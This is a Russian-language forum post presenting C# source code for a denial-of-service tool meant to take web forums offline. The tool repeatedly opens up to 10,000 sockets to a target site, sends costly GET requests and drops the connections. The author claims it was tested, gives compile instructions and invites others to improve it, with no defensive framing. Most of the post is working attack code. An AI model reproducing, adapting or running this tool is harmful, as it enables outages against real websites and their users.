Недавно была написана программа, позволяющая ложить в даун форумы. Идея такова - одновременная посылка запроса на получение странички, требующей больших затрат по ресурсам для веб-сервера, после этого сокет закрывается, без приема данных. Один компьютер даже не с очень широким каналом может заставить сервер очень крепко задуматься - проверено. Единственное но - для каждого сервера нужно настраивать свои параметры максимального количества подключений и время повтора. Прилагаю исходник на C#. Code: using System; using System.Net; using System.Net.Sockets; using System.Threading; namespace ConsoleApplication1 { class Program { private const int max = 10000; private const int tm = 120000; private static int cnt = 0; private static int run = 0; private static int con = 0; private static int sent = 0; static int i=0; static string site = "www.site.xxx"; static string s = "GET http://" + site + "/index.php HTTP/1.1\r\nHost:" + site + "\r\nUser-Agent:Opera 0.0"; static string s2 = "\r\nConnection:Keep-Alive\r\n\r\n"; public static void StartClient(object s) { try { IPAddress ipAddress = Dns.GetHostAddresses(site)[0]; IPEndPoint remoteEP = new IPEndPoint(ipAddress, 80); DateTime st = DateTime.Now; Socket[] sender = new Socket[max]; for (int i = 0; i < max; i++) { sender[i] = new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp); } for (int i = 0; i < max; i++) { try { run++; sender[i].BeginConnect(remoteEP, new AsyncCallback(conncb), sender[i]); } catch (ArgumentNullException ane) { Console.WriteLine("ArgumentNullException : {0}", ane.ToString()); } catch (SocketException se) { Console.WriteLine("SocketException : {0}", se.ToString()); } catch (Exception e) { Console.WriteLine("Unexpected exception : {0}", e.ToString()); } } TimeSpan ts = DateTime.Now - st; cnt++; if (cnt % 1 == 0) { Console.WriteLine(ts.TotalSeconds); Console.WriteLine("R:{0} C:{1} S:{2}", run, con, sent); } } catch (Exception e) { Console.WriteLine(e.ToString()); } } static void conncb(IAsyncResult ar) { Socket client = (Socket)ar.AsyncState; try { client.EndConnect(ar); con++; byte[] b = System.Text.Encoding.ASCII.GetBytes(s + i.ToString() + s2); i++; client.BeginSend(b, 0, b.Length, 0, new AsyncCallback(sendcb), client); } catch (Exception e) { client.Close(); } } static void sendcb(IAsyncResult ar) { Socket client = (Socket)ar.AsyncState; try{ client.EndSend(ar); sent++; } catch (Exception e) { } client.Shutdown(SocketShutdown.Both); client.Close(); } static void Main(string[] args) { object s = new object(); TimerCallback tc = new TimerCallback(StartClient); Timer t = new Timer(tc, s, 0, tm); Console.ReadKey(); } } } Еще в данной программе не хватает отслеживания количества задействованных сокетов для оптимизации выполнения на компьютере (при длительном времени выполнения загрузка идет до 100%). Так что рассматривайте ее не как готовый вариант, а идею, которую можно использовать для доработки. P.S. То, что программа написана на C# не имеет значения, ее можно адаптировать под любой язык и на любой уровень, требуются только асинхронные сокеты и все. Удобства именно C# заключаются в том, что скомпилировать можно на любом компьютере с наличием установленной библиотеки Framework.NET Для этого сохранить код в текстовый файл с названием например test.cs и запустить в командной строке следующее: C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\csc.exe путь_к_файлу_test.cs /r:System.dll На warning's внимания можно не обращать, программа все равно будет работать.